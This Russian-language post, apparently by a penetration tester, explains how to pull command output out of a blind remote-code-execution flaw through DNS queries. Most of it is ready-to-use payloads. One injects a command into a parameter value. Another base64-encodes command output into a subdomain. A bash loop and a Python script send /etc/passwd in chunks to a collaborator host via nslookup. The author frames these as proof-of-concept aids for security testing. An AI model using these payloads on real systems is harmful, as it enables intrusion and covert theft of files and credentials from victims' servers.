Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:
name=val`ping -с 1 $(whoami).collaborator`ue
Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:
Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.
Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования:
Получение части от вывода команды
Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене
`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`
Чтение всего файла по частям
Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)
bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'
Данный bash я делал по ранее написанному python-коду:
import os, base64, time
border, domain, delay = 40, ".collaborator", 3
with open('/etc/passwd') as file:
for lineNumber, line in enumerate(file, 1):
encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]
for part, chunk in enumerate(parts, 1):
os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
time.sleep(delay)
Также попутно хочу поделиться полезными ссылками по этой теме:
- https://notsosecure.com/out-band-exploitation-oob-cheatsheet
- https://github.com/dhmosfunk/DNSEXFIL
- https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9
P.S. Если base64 не катит, то просто поменяйте на hex